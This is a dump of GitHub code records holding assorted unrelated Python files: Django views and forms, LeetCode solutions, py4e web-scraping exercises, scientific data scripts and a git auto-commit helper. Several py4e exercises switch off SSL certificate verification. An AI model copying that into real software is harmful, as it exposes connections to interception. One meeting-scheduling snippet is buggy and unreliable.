'admin/voucher.html', context())\n\n\n @login_required(login_url='signin')\n @checkadmin\n def ajax_get_voucher(request):\n try:\n voucher_id = request.POST[\"voucher_id\"]\n voucher_detail = list(Voucher.objects.filter(pk=voucher_id).values())\n context = {\n 'voucher_detail': voucher_detail\n }\n return JsonResponse(context)\n except:\n messages.error(request, \"Lấy dữ liệu mã giảm giá không thành công!\")\n return redirect('ad_voucher')","repo_name":"blasetn/Thesis","sub_path":"web/adminfile/voucher.py","file_name":"voucher.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"ceb","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"24948720716","text":"import speech_recognition as sr\n\n\nclass LiveAudio:\n def TakeAudio(self):\n init_rec = sr.Recognizer()\n print(\"Let's speak!!\")\n with sr.Microphone() as source:\n audio_data = init_rec.record(source, duration=5)\n print(\"Recognizing your text.............\")\n # text = init_rec.recognize_google(audio_data)\n # print(text)\n return audio_data\n\n","repo_name":"Bishal-Bhandari/Sentiment-Analysis","sub_path":"LiveInput.py","file_name":"LiveInput.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73082670830","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def goodNodes(self, root: TreeNode) -> int:\n if not root: return 0\n \n stack, ans = [(root, float('-inf'))], 0\n \n while stack:\n node, max_so_far = stack.pop()\n if node.val >= max_so_far:\n ans += 1\n \n if node.left:\n stack.append((node.left, max(max_so_far, node.val)))\n \n if node.right:\n stack.append((node.right, max(max_so_far, node.val)))\n \n return ans","repo_name":"AndanteKim/LeetCode_Practice","sub_path":"1448-count-good-nodes-in-binary-tree/1448-count-good-nodes-in-binary-tree.py","file_name":"1448-count-good-nodes-in-binary-tree.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"11411938465","text":"from django.forms import ModelForm\nfrom django.shortcuts import get_object_or_404\nfrom django.utils import timezone\n\nfrom .models import *\n\n\ndef date_start_end():\n a = get_object_or_404(Settings)\n return True if a.vote_nicknameassigntime_start > timezone.now() or a.vote_nicknameassigntime < timezone.now() else False\n\n\ndef date_start_end_else():\n a = get_object_or_404(Settings)\n return True if a.vote_nicknameassigntime < timezone.now() else False\n\n\nclass ConfessionForm(ModelForm):\n class Meta:\n model = Confession\n fields = ['confession', ]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields['confession'].widget.attrs[\"class\"] = \"form-control\"\n self.fields['confession'].widget.attrs[\"placeholder\"] = \"Type your confession ...\"\n self.fields['confession'].widget.attrs[\"maxlength\"] = \"250\"\n self.fields['confession'].widget.attrs[\"id\"] = \"confession_input\"\n self.fields['confession'].widget.attrs[\"required\"] = \"true\"\n self.fields['confession'].widget.attrs[\"rows\"] = \"1\"\n self.fields['confession'].widget.attrs[\"disabled\"] = date_start_end()\n\n\nclass ContactForm(ModelForm):\n class Meta:\n model = Contact\n fields = ['name', 'instagram_id', 'email', 'subject', 'message']\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields['name'].widget.attrs[\"class\"] = \"form-control form-select\"\n self.fields['instagram_id'].widget.attrs[\"class\"] = \"form-control\"\n self.fields['subject'].widget.attrs[\"class\"] = \"form-control\"\n self.fields['message'].widget.attrs[\"class\"] = \"form-control\"\n self.fields['email'].widget.attrs[\"class\"] = \"form-control\"\n\n self.fields['instagram_id'].widget.attrs[\n \"placeholder\"] = \"Instagram Username (Optional)\"\n self.fields['email'].widget.attrs[\n \"placeholder\"] = \"your_email_address@service-provider.com (Optional)\"\n self.fields['subject'].widget.attrs[\"placeholder\"] = \"Subject Heading\"\n self.fields['message'].widget.attrs[\"placeholder\"] = \"Your Message .....\"\n\n self.fields['name'].widget.attrs[\"disabled\"] = date_start_end_else()\n self.fields['instagram_id'].widget.attrs[\"disabled\"] = date_start_end_else()\n self.fields['subject'].widget.attrs[\"disabled\"] = date_start_end_else()\n self.fields['message'].widget.attrs[\"disabled\"] = date_start_end_else()\n self.fields['email'].widget.attrs[\"disabled\"] = date_start_end_else()\n\n\nclass RemoveProfileForm(ModelForm):\n class Meta:\n model = RemoveName\n fields = ['student_models', ]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields['student_models'].widget.attrs[\"class\"] = \"form-control form-select\"\n self.fields['student_models'].widget.attrs[\"style\"] = \"width:300px\"\n self.fields['student_models'].widget.attrs[\"disabled\"] = date_start_end_else()\n","repo_name":"Dhruvacube/la22b","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8350966017","text":"# import sqlite3\n\n# con = sqlite3.connect(\"newdb.db\")\n# cur = con.cursor()\n# print(\"Database created\")\n\n# cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS users(userid INT PRIMARY KEY,fname TEXT,lame TEXT,gender TEXT);\"\"\")\n# con.commit()\n# cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS orders(userid INT PRIMARY KEY,date TEXT,orderid TEXT,total TEXT);\"\"\")\n# con.commit()\n\n# cur.execute(\"\"\"insert into users(userid,fname,lame,gender) values ('0001','Bruce','Wayyne','male');\"\"\")\n# con.commit()\n# cur.execute(\"\"\"insert into users values ('00012','Brdduce','Waydwqyne','male');\"\"\")\n# con.commit()\n\n# cur.execute(\"\"\"select * from users;\"\"\")\n# a = cur.fetchall()\n# print(a)\n# cur.execute(\"\"\"delete from users where fname=\"Brdduce\";\"\"\")\n# con.commit()\n# cur.execute(\"\"\"select * from users;\"\"\")\n# a = cur.fetchall()\n# print(a)\n\n# more_doc = [('101', 'David', '1', '2005-2-10', 'Pediatric', '40000', None),\n# ('101', 'David', '1', '2005-2-10', 'Pediatric', '40000', None)\n# ]\n\nclass Solution:\n def maximumMeetings(self,n,start,end):\n meeting = [[start[i], end[i]] for i in range(len(end))]\n\n e = meeting[0][1]\n ans = 1\n\n for i in range(1, meeting.length):\n if i[1] > e:\n ans += 1\n e = i[1]\n \n return ans\n","repo_name":"mithindev/COLLEGE","sub_path":"SEM-3/PYTHON/SET - 1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"33133088599","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function, absolute_import\n###########################################################################\n# (C) Vrije Universiteit, Amsterdam (the Netherlands) #\n# #\n# This file is part of AmCAT - The Amsterdam Content Analysis Toolkit #\n# #\n# AmCAT is free software: you can redistribute it and/or modify it under #\n# the terms of the GNU Affero General Public License as published by the #\n# Free Software Foundation, either version 3 of the License, or (at your #\n# option) any later version. #\n# #\n# AmCAT is distributed in the hope that it will be useful, but WITHOUT #\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or #\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public #\n# License for more details. #\n# #\n# You should have received a copy of the GNU Affero General Public #\n# License along with AmCAT. If not, see . #\n###########################################################################\n\nINDEX_URL = \"http://www.depers.nl/\"\n\nfrom amcat.scraping.scraper import DatedScraper, HTTPScraper\nfrom amcat.scraping.document import HTMLDocument\n\nfrom urlparse import urljoin\n\nclass DePersScraper(HTTPScraper, DatedScraper):\n \"\"\" Scrape the news from depers.nl.\"\"\"\n medium_name = \"De Pers - news\"\n\n def get_categories(self):\n \"\"\" Yields the urls to all the pages contianing the categories.\n \"\"\"\n doc = self.getdoc(INDEX_URL)\n for link in doc.cssselect(\"div.subtabs ul li a\"):\n yield urljoin(INDEX_URL, link.get(\"href\"))\n\n def _get_units(self):\n for url in self.get_categories():\n day_url = urljoin(url, \"%04d%02d%02d.html\" % (\n self.options['date'].year,\n self.options['date'].month,\n self.options['date'].day\n ))\n\n if not day_url.startswith(INDEX_URL): continue\n\n doc = self.getdoc(day_url)\n for article in doc.cssselect(\"div.lbox500 h2 a\"):\n url = urljoin(day_url, article.get(\"href\"))\n\n if '/video/' in url: continue\n\n yield HTMLDocument(\n url = urljoin(day_url, article.get(\"href\")),\n headline = article.text,\n date = self.options['date']\n )\n\n def _scrape_unit(self, doc):\n doc.prepare(self)\n if doc.doc.cssselect(\"div.lbox440\"):\n doc.props.text = doc.doc.cssselect(\"div.lbox440\")[0].cssselect('p')\n else:\n doc.props.text = \"\"\n yield doc\n\nif __name__ == '__main__':\n from amcat.scripts.tools import cli\n from amcat.tools import amcatlogging\n amcatlogging.debug_module(\"amcat.scraping.scraper\")\n amcatlogging.debug_module(\"amcat.scraping.document\")\n cli.run_cli(DePersScraper)\n","repo_name":"edisona/amcat.scraping","sub_path":"newssites/depers.py","file_name":"depers.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"71902781552","text":"import time\ndef two_mindiff_subset(nums):\n sum_total = sum(nums)\n sum_half = sum_total // 2\n l = len(nums)\n achievable = [[False for _ in range(l + 1)] for _ in range(sum_half)]\n achievable.insert(0, [True for _ in range(l + 1)])\n for i in range(1, sum_half + 1):\n for j in range(1, l + 1):\n if achievable[i][j - 1] or i - nums[j - 1] >= 0 and achievable[i - nums[j - 1]][j - 1]:\n achievable[i][j] = True\n achievable_sums = [any(row) for row in achievable]\n\n k = sum_half\n while k >= 0:\n if achievable_sums[k]:\n break\n k -= 1\n return sum_total - k * 2\n\n\ndef min_diff_subset_test():\n inputs = [[1, 7], [2, 3, 4, 5], [1, 2, 3, 4, 5, 30]]\n outputs = [6, 0, 15]\n for i in range(len(inputs)):\n t = time.time()\n assert two_mindiff_subset(inputs[i]) == outputs[i], \"failed test %i, should get %i, but got %i\" % (i, outputs[\n i], two_mindiff_subset(inputs[i]))\n print(time.time() - t)\n return \"all tests pass\"\n\n\nif __name__ == \"__main__\":\n print(min_diff_subset_test())\n","repo_name":"zaczzy/LeetCode","sub_path":"two_mindiff_subset.py","file_name":"two_mindiff_subset.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"44053030615","text":"\"\"\"\n Api's for the retailer's account and all that stuff\n\"\"\"\nfrom . import db, basic_success, basic_failure, basic_error\n\n\ndef vendor_account(opts, vendor_id, method):\n # ------- vendor details ----------\n vendor = db.vendors.find_one({\"vendor_id\": vendor_id}, {\"_id\": False, \"vendor_id\": False})\n if not vendor:\n return basic_failure(\"Invalid vendor\")\n\n # ------- account stats -----------\n vendor.update({\n \"pending\": 0,\n \"cancelled\": 0,\n \"complete\": 0,\n \"total_points\": 0\n })\n for item in db.orders.find({\"vendor_id\": vendor_id}, {\"_id\": False, \"pts\": True, \"status\": True}):\n status = item['status'][0]['status']\n\n if status == \"placed\":\n vendor['pending'] += 1\n elif status == \"accepted\":\n vendor['complete'] += 1\n else:\n vendor['cancelled'] += 1\n\n vendor['total_points'] += item.get('pts', 0)\n\n return basic_success(vendor)\n","repo_name":"AnishGeorgeJlabs/Cersei","sub_path":"vendor/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28769561657","text":"#!/astro/apps6/anaconda2.0/bin/python\n\"\"\"\nUpdate fits file headers\n\"\"\"\nfrom __future__ import print_function\nimport argparse\nimport sys\nfrom astropy.io import fits\nfrom time import localtime, strftime\n\nfmt = u'{}: Updated {} from {} to {}'\nefmt = u'{}: Doing nothing for {} {}'\n\ndef revert_key(key, fnames=None):\n \"\"\"\n Revert an update (from update_key)\n \"\"\"\n fnames = fnames or []\n\n for fname in fnames:\n hdu = fits.open(fname, mode='update')\n hdr = hdu[0].header\n updates = [i for i in hdr['history'] if 'Updated' in i]\n update = [i for i in updates if key.upper() in i.upper()]\n\n if len(update) == 0:\n print('{}: no record of update to {}'.format(fname, key))\n continue\n\n if len(update) > 1:\n for upd in update:\n oldv, curv = map(str.strip, upd.split('from')[1].split('to'))\n if oldv != curv:\n oldval = oldv\n break\n else:\n print('non-update (duplicate vals) {} {}'.format(oldv, curv))\n else:\n oldval = update[0].split('from')[1].split('to')[0].strip()\n\n #print('update_key({}, {}, fnames=[{}])'.format(key, oldval, fname))\n update_key(key, oldval, fnames=[fname])\n\ndef update_key(key, newval, fnames=None):\n \"\"\"\n Change header key of fitsfile(s)\n\n usage: update_key.py key newval filename(s)\n \"\"\"\n fnames = fnames or []\n try:\n newval = int(newval)\n except ValueError:\n pass\n\n for fname in fnames:\n try:\n hdu = fits.open(fname, mode='update')\n hdr = hdu[0].header\n now = strftime(\"%Y-%m-%d %H:%M:%S\", localtime())\n oldval = hdr[key]\n if newval != oldval:\n msg = fmt.format(now, key, oldval, newval)\n hdr[key] = newval\n hdr['history'] = msg\n print(msg)\n hdu.flush()\n else:\n print(efmt.format(fname, oldval, newval))\n except:\n print('problem with {}'.format(fname))\n print(sys.exc_info()[1])\n return\n\n\ndef main(argv):\n \"\"\"update_key caller\"\"\"\n parser = argparse.ArgumentParser(description=update_key.__doc__)\n\n parser.add_argument('key', type=str, help='column header to update')\n\n parser.add_argument('newval', type=str, help='new value')\n\n parser.add_argument('fnames', type=str, nargs='*',\n help='fits file name(s)')\n\n args = parser.parse_args(argv)\n\n update_key(args.key, args.newval, args.fnames)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\n","repo_name":"philrosenfield/clusters","sub_path":"data_wrangling/update_key.py","file_name":"update_key.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70276033071","text":"import re\n\nfile_name= input(\"Enter file name: \")\nfh= open(file_name)\ndata=fh.read()\n\nx= re.findall('\\d+', data)\nx_int= [int(i) for i in x]\nprint(sum(x_int))\n\n###################################################\nimport socket\nmysock= socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nmysock.connect( ('data.pr4e.org', 80)) #host, port\n\ncmd= 'GET http:///data.pr4e.org/romeo.txt HTTP/1.0\\n\\n'.encode()\nmysock.send(cmd)\n\nwhile True:\n data=mysock.recv(512)\n if len(data) < 1:\n break\n print(data.decode(),end='')\nmysock.close()\n\n####################################################\n\nimport urllib.request, urllib.parse, urllib.error\n\nfhand= urllib.request.urlopen('http://data.pr4e.org/romeo.txt')\ncounts= dict()\nfor line in fhand:\n words= line.decode().split()\n for word in words:\n counts[word]= counts.get(word, 0) +1\nprint(counts)\n\n##################################################\n\nimport urllib.request, urllib.parse, urllib.error\nfrom bs4 import BeautifulSoup\n\nurl= input('Enter URL : ')\nhtml= urllib.request.urlopen(url).read()\nsoup= BeautifulSoup(html, 'html.parser')\n\n# Retrieve all of the anchor tags\ntags= soup('a')\nfor tag in tags:\n print(tag.get('href', None))\n\n###################################################\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nhtml = urlopen(url, context=ctx).read()\nsoup = BeautifulSoup(html, \"html.parser\")\n\ntags = soup('span')\nsum_tags= 0\nfor tag in tags:\n content= int(tag.contents[0])\n sum_tags= sum_tags+content\n # Look at the parts of a tag\n print('TAG:', tag)\n print('URL:', tag.get('href', None))\n print('Contents:', tag.contents[0])\n print('Attrs:', tag.attrs)\n\nprint(sum_tags)\n\n####################################################3\n\nfrom urllib.request import urlopen\nimport xml.etree.ElementTree as ET\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nuh = urlopen(url, context=ctx)\ndata = uh.read()\nxml=data.decode()\ntree = ET.fromstring(xml)\ncounts= tree.findall('.//count')\n\nsum=0\nfor count in counts:\n sum=sum+int(count.text)\n\nprint(sum)\n\n###############################################################\n\nimport json\nfrom urllib.request import urlopen\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nuh = urlopen(url, context=ctx)\ndata = uh.read()\ninfo = json.loads(data)\n\n#print('User count:', len(info['comments']))\n\nsum=0\nfor user in info['comments']:\n sum= user['count']+sum\nprint(sum)\n\n###################################################\n\nimport urllib.request, urllib.parse, urllib.error\nimport json\nimport ssl\n\nfrom numpy import place\n\napi_key = False\n# If you have a Google Places API key, enter it here\n# api_key = 'AIzaSy___IDByT70'\n# https://developers.google.com/maps/documentation/geocoding/intro\n\nif api_key is False:\n api_key = 42\n serviceurl = 'http://py4e-data.dr-chuck.net/json?'\nelse :\n serviceurl = 'https://maps.googleapis.com/maps/api/geocode/json?'\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nwhile True:\n address = input('Enter location: ')\n if len(address) < 1: break\n\n parms = dict()\n parms['address'] = address\n if api_key is not False: parms['key'] = api_key\n url = serviceurl + urllib.parse.urlencode(parms)\n\n #print('Retrieving', url)\n uh = urllib.request.urlopen(url, context=ctx)\n data = uh.read().decode()\n #print('Retrieved', len(data), 'characters')\n\n try:\n js = json.loads(data)\n except:\n js = None\n\n #debugging\n if not js or 'status' not in js or js['status'] != 'OK':\n print('==== Failure To Retrieve ====')\n print(data)\n continue\n\n #print(js)\n #print(json.dumps(js, indent=4))\n place_id= js['results'][0]['place_id']\n print(place_id)","repo_name":"DanielChoi95/2_PY4E_Lectures","sub_path":"py4e_Web.py","file_name":"py4e_Web.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31848637875","text":"# -*- coding: utf-8 -*-\nimport time\nimport wx\n\nclass ProcessBar(wx.Frame):\n def __init__(self, parent, title, range):\n super(ProcessBar, self).__init__(parent, title=title, size=(300, 200))\n self.range = range\n self.InitUI()\n\n def InitUI(self):\n pnl = wx.Panel(self)\n vbox = wx.BoxSizer(wx.VERTICAL)\n\n hbox1 = wx.BoxSizer(wx.HORIZONTAL)\n\n self.gauge = wx.Gauge(pnl, range=self.range, size=(250, 25), style=wx.GA_HORIZONTAL)\n\n hbox1.Add(self.gauge, proportion=1, flag=wx.ALIGN_CENTRE)\n\n vbox.Add((0, 30))\n vbox.Add(hbox1, flag=wx.ALIGN_CENTRE)\n vbox.Add((0, 20))\n pnl.SetSizer(vbox)\n\n self.SetSize((300, 200))\n self.Centre()\n self.Show(True)\n\n def SetProcess(self,count,end = 0):\n if(end == 1): # 快速结束进度条\n while True:\n time.sleep(0.0001)\n count += 1\n self.gauge.SetValue(count)\n\n if count >= self.range:\n return\n else: # 按count 设置进度条\n self.gauge.SetValue(count)\n\n# xx = wx.App()\n# x = ProcessBar(None, '打开程序中', 100)\n# x.SetProcess(6,1)\n# return","repo_name":"jdz110b/Uncertainty","sub_path":"UncertaintyPropagation/ProcessBar.py","file_name":"ProcessBar.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40178508014","text":"\"\"\"Using the filters functions for various data sets.\"\"\"\n\nimport matplotlib.pyplot as plt\n\nimport hydrobot.data_acquisition as data_acquisition\nimport hydrobot.filters as filters\n\n# Location and attributes of data to be obtained\nbase_url = \"http://hilltopdev.horizons.govt.nz/\"\nhts = \"RawLoggerNet.hts\"\nsite = \"HDC Foxton Beach 1\"\nmeasurement = \"Water Temperature\"\nfrom_date = \"2021-01-01 00:00\"\nto_date = \"2023-10-12 8:30\"\n\n# Spike removal parameters\nspan = 10\nhigh_clip = 40\nlow_clip = 0\ndelta = 1\n\n# Choose whether to display extra plots\ndisplay_working_plots = False\n\n# Obtain data\ndata = data_acquisition.get_data(\n base_url, hts, site, measurement, from_date, to_date, \"standard\"\n)\n\n\n# Base data display\nif display_working_plots:\n plt.figure(figsize=(10, 6))\n plt.subplot(1, 1, 1)\n plt.plot(data[\"Value\"], label=\"Original Data\")\n plt.title(\"Data before spike removal\")\n plt.legend()\n\n\n# Remove high values and low values\nclip_data = filters.clip(data[\"Value\"], high_clip, low_clip)\n\n# Base vs clipped data display\nif display_working_plots:\n plt.figure(figsize=(10, 6))\n plt.subplot(1, 1, 1)\n plt.plot(data[\"Value\"], label=\"Original Data\")\n plt.plot(clip_data, label=\"Clipped Data\")\n plt.legend()\n\n# Create smoothed data using forwards-backwards exponential weighted moving\n# average (FBEWMA)\nfbewma_data = filters.fbewma(clip_data, span)\n\n# Base vs smoothed data\nif display_working_plots:\n plt.figure(figsize=(10, 6))\n plt.subplot(1, 1, 1)\n plt.plot(data[\"Value\"], label=\"Original Data\")\n plt.plot(fbewma_data, label=\"FBEWMA Data\")\n plt.legend()\n\n\n# Compare base data to smoothed data, remove any large differences\ndelta_clip_data = filters.remove_outliers(clip_data, span, delta)\n\n# Display cleaned data\nplt.figure(figsize=(10, 6))\nplt.subplot(1, 1, 1)\nplt.plot(data[\"Value\"], label=\"Original Data\")\nplt.plot(delta_clip_data, label=\"Cleaned Data\")\nplt.legend()\nplt.show()\n","repo_name":"HorizonsRC/hydrobot","sub_path":"prototypes/py_scripts/water_temp_spike_removal.py","file_name":"water_temp_spike_removal.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23696549836","text":"from pathlib import Path\nimport xarray as xr\nfrom spatio_temporal.config import Config\nfrom spatio_temporal.training.tester import Tester\nfrom spatio_temporal.training.trainer import Trainer\nfrom spatio_temporal.data.data_utils import initialize_normalizer\nfrom spatio_temporal.training.eval_utils import (\n save_loss_curves,\n save_losses,\n save_timeseries,\n)\n\n\nif __name__ == \"__main__\":\n OVERFIT = False\n\n data_dir = Path(\"data/\")\n\n # load dataset\n ds_path = data_dir / \"ALL_dynamic_ds.nc\"\n ds = xr.open_dataset(ds_path)\n ds = ds.isel(station_id=slice(0, 10))\n\n # load config\n cfg_path = Path(\"tests/testconfigs/config_runoff.yml\")\n cfg = Config(cfg_path=cfg_path)\n cfg._cfg[\"experiment_name\"] = \"01_test_discharge_TL\"\n\n # Train Test Split\n trainer = Trainer(cfg, ds)\n tester = Tester(cfg, ds)\n\n # Overfit on train data\n if OVERFIT:\n overfitting_tester = Tester(cfg, ds, subset=\"train\")\n overfitting_tester.run_test()\n\n # train-test loop\n losses = trainer.train_and_validate()\n\n # save the loss curves\n save_loss_curves(losses, cfg)\n save_losses(losses, cfg)\n\n # run test after training\n preds = tester.run_test()\n save_timeseries(preds, cfg=cfg, n=2)\n\n assert False\n","repo_name":"tommylees112/spatio_temporal","sub_path":"scripts/test_discharge.py","file_name":"test_discharge.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"19039906913","text":"\"\"\"Модели истории входов на сервис.\"\"\"\n\nimport uuid\nfrom datetime import datetime\n\nfrom sqlalchemy import UniqueConstraint\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.ext.declarative import declared_attr\n\nfrom db.postgres import db\nfrom models import BaseModel\n\n\nclass LoginHistoryMixin:\n \"\"\"Микшин чтобы в партициях использовать.\"\"\"\n\n id = db.Column(\n UUID(as_uuid=True), primary_key=True, default=uuid.uuid4,\n nullable=False)\n\n @declared_attr\n def user_id(self):\n \"\"\"ИД юзера.\"\"\"\n return db.Column(\n UUID(as_uuid=True), db.ForeignKey('users.id'),\n )\n\n email = db.Column(db.String, nullable=False)\n date_login = db.Column(db.DateTime(), default=datetime.utcnow)\n user_agent = db.Column(db.Text)\n user_device_type = db.Column(db.Text, nullable=False, primary_key=True)\n\n def __repr__(self):\n \"\"\"Вернуть repr().\"\"\"\n return (\n f'Login history (id={self.id!r}, '\n f'mail={self.email!r})'\n )\n\n\nclass LoginHistory(LoginHistoryMixin, BaseModel):\n \"\"\"История входов на сервис.\"\"\"\n\n __tablename__ = 'login_history'\n __table_args__ = (\n UniqueConstraint('id', 'user_device_type'),\n {\n 'postgresql_partition_by': 'LIST (user_device_type)',\n },\n )\n","repo_name":"AlexPunches/Async_API_sprint_1","sub_path":"auth/src/models/login_history.py","file_name":"login_history.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2821084524","text":"import pandas as pd\nimport argparse\nfrom sklearn.model_selection import StratifiedKFold\n\n\ndef create_folds(path):\n df = pd.read_csv(path)\n # create a column for kfold\n df.loc[:, \"kfold\"] = -1\n labels = df[\"label\"].values\n df[\"image_id\"] = [f\"{label}_{i}\" for i, label in enumerate(labels)]\n\n # shuffle the dataframe\n\n df = df.sample(frac=1).reset_index(drop=True)\n\n X = df.drop(\"label\", axis=1)\n X = X.values\n y = df[\"label\"].values\n\n skf = StratifiedKFold(n_splits=5)\n\n for fold, (train, val) in enumerate(skf.split(X, y)):\n print(f\"Train: {train.shape} Val: {val.shape}\")\n df.loc[val, \"kfold\"] = fold\n\n print(df.kfold.value_counts())\n df.to_csv(\"../data/train_folds.csv\", columns=df.columns, index=False)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--path\", help=\"Path to Train CSV\")\n args = parser.parse_args()\n create_folds(args.path)\n","repo_name":"Razin-Tailor/kannada-mnist","sub_path":"folds.py","file_name":"folds.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5674641909","text":"import socket\nimport subprocess\n\n\ndef git(folder_name: str) -> None:\n # git-Commit des Modells\n print(f\"\\nGIT\\n\\t{folder_name}\\n\")\n\n # Nur im CIP wird direkt gepusht, weil dort das Prozedere umständlicher ist\n if \"cip\" in socket.gethostname():\n commit_message = \"\\\"[CIP AUTO] Training erfolgreich => Modell verfügbar\\\"\"\n git_push = f\"git push origin main\"\n\n # Code, falls ich verhindern möchte, dass zuviele Commits den Log fluten und \"--amend\" ausgeführt werden soll\n # last_commit_message = subprocess.run(git_last_commit_message.split(\" \"),\n # stdout=subprocess.PIPE).stdout.decode(\"utf-8\")\n # git_last_commit_message = \"git log -1 --pretty=%B\"\n # git_force_push = f\"git push -f origin {branch}\"\n # subprocess.run([\"git\", \"add\", f\"Saved_Models/{folder_name}/\"]) # Nicht als Liste spezifizierbar, da zu viele Leerzeichen enthalten wären und man dann zu viele Elemente für \"run\" hätte\n #\n # # Wenn letzte Commit-Message mit aktueller übereinstimmt, wird \"--amend\" aufgerufen, damit der Log nicht mit automatischen Commits geflutet wird\n # if last_commit_message == commit_message:\n # git_commit_amend = \"git commit --amend\"\n # subprocess.run(git_commit_amend.split(\" \"))\n # subprocess.run(git_force_push.split(\" \"))\n # else:\n # subprocess.run([\"git\", \"commit\", \"-m\", commit_message])\n # subprocess.run(git_push.split(\" \"))\n\n print(f\"GIT ADD\\n\\t{folder_name}\")\n subprocess.run([\"git\", \"add\", folder_name]) # Nicht als Liste spezifizierbar, da zu viele Leerzeichen enthalten wären und man dann zu viele Elemente für \"run\" hätte\n # Es wird erst gepusht, nachdem der Plot hinzugefügt wurde\n if \"plots\" in folder_name:\n print(\"GIT COMMIT\")\n subprocess.run([\"git\", \"commit\", \"-m\", commit_message])\n print(\"GIT PUSH\")\n subprocess.run(git_push.split(\" \"))\n # Auf meinem Rechner werden die Modell-Dateien nur hinzugefügt\n else:\n if \"Saved_Models\" in folder_name:\n # Damit mehrere Trainingsdurchläufe nicht die Commit-Übersicht/Ausgabe von\n # \"git status\"/Staging-Bereich mit Modelldateien fluten,\n # wird dieser (der Staging-Bereich) erst von den alten Modelldateien befreit\n git_restore_old_model_files = \"git restore --staged *.json *.h5\"\n subprocess.run(git_restore_old_model_files.split(\" \"))\n # Hinzufügen des aktuellen trainierten Modells\n print(f\"GIT ADD\\n\\t{folder_name}\")\n subprocess.run([\"git\", \"add\", folder_name]) # Nicht als Liste spezifizierbar, da zu viele Leerzeichen enthalten wären und man dann zu viele Elemente für \"run\" hätte\n if \"plots\" in folder_name:\n print(f\"GIT ADD\\n\\t{folder_name}\")\n subprocess.run([\"git\", \"add\", folder_name])\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"PhilippFeO/overview","sub_path":"master-thesis/Hippocampus_Language_Framework/git_auto.py","file_name":"git_auto.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36489764751","text":"import sys\nimport os\nimport signal\nimport gevent\nfrom gevent import Greenlet\nfrom gevent.event import Event\nfrom beach.utils import *\nfrom beach.utils import _ZMREP\nimport imp\nimport zmq.green as zmq\nfrom beach.actor import *\nimport yaml\nimport time\nimport logging\nimport traceback\n\ntimeToStopEvent = Event()\n\ndef _stopAllActors():\n global timeToStopEvent\n timeToStopEvent.set()\n\nclass ActorHost ( object ):\n \n # The actorList is a list( actorNames, configFile )\n def __init__( self, configFile, instanceId ):\n \n # Setting the signal handler to trigger the stop event which\n # is interpreted by each actor implementation\n global timeToStopEvent\n gevent.signal( signal.SIGQUIT, _stopAllActors )\n gevent.signal( 